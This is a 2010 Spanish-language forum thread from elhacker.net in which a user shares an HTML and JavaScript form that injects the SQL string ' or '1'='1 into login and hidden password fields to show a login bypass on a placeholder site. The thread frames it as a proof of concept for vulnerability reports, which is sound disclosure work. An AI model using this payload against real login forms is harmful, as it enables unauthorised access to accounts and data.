Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: SnakingMax en 5 Octubre 2010, 23:19 pm



Título: Reportar inyecciones SQL
Publicado por: SnakingMax en 5 Octubre 2010, 23:19 pm
Os dejo un código muy sencillo en html+javascript que he utilizado para reportar inyecciones sql. Sin tener conocimientos de informática a cualquiera que se le haga el reporte puede comprobar la vulnerabilidad.


Código
  1. <script language="javascript">
  2.  
  3. function enviar()
  4. {
  5. document.getElementById('valor1').value = "' or '1'='1"+document.getElementById('valor1').value;
  6. return true;
  7. }
  8.  
  9. </script>
  10.  
  11. Acceder al primer usuario cuyo LOGIN sea:
  12.  
  13. <form method="post" action="http://www.laweb.com/accion" onsubmit="enviar();">
  14. <input name="login" id="valor1" type="text">
  15. <input name="password" value="' or '1'='1" id="valor2" type="hidden">
  16. <input value="Enviar" type="submit">
  17.  
  18. </form>


Título: Re: Reportar inyecciones SQL
Publicado por: Shell Root en 5 Octubre 2010, 23:29 pm
...


Título: Re: Reportar inyecciones SQL
Publicado por: xassiz~ en 5 Octubre 2010, 23:30 pm
...
...


Título: Re: Reportar inyecciones SQL
Publicado por: SnakingMax en 5 Octubre 2010, 23:38 pm
Me había olvidado cambiar la inyección que tenía por ' or '1' = '1 y también desocultar un campo que tenía de tipo password. En la inyección en la que lo utilicé el campo password se modifica así que no se puede inyectar ahí.

Saludos


Título: Re: Reportar inyecciones SQL
Publicado por: Shell Root en 5 Octubre 2010, 23:50 pm
@SnakingMax, para vos que es reportar?


Título: Re: Reportar inyecciones SQL
Publicado por: SnakingMax en 6 Octubre 2010, 00:05 am
@SnakingMax, para vos que es reportar?

Pues para mi reportar es informar de algo (dar un reporte), y en este caso el reporte es una prueba del concepto.
Y si quieres adjuntas también info sobre como se corrige la vulnerabilidad desde la BD o desde el propio código PHP filtrando los caracteres que no se desean.

También podría haber puesto como título del post lanzador de inyecciones sql, pero le veo mejor utilidad al código como reporte en un correo electrónico.

Si me equivoco corrígeme, estoy en el foro para aprender y para aportar en lo que pueda  :D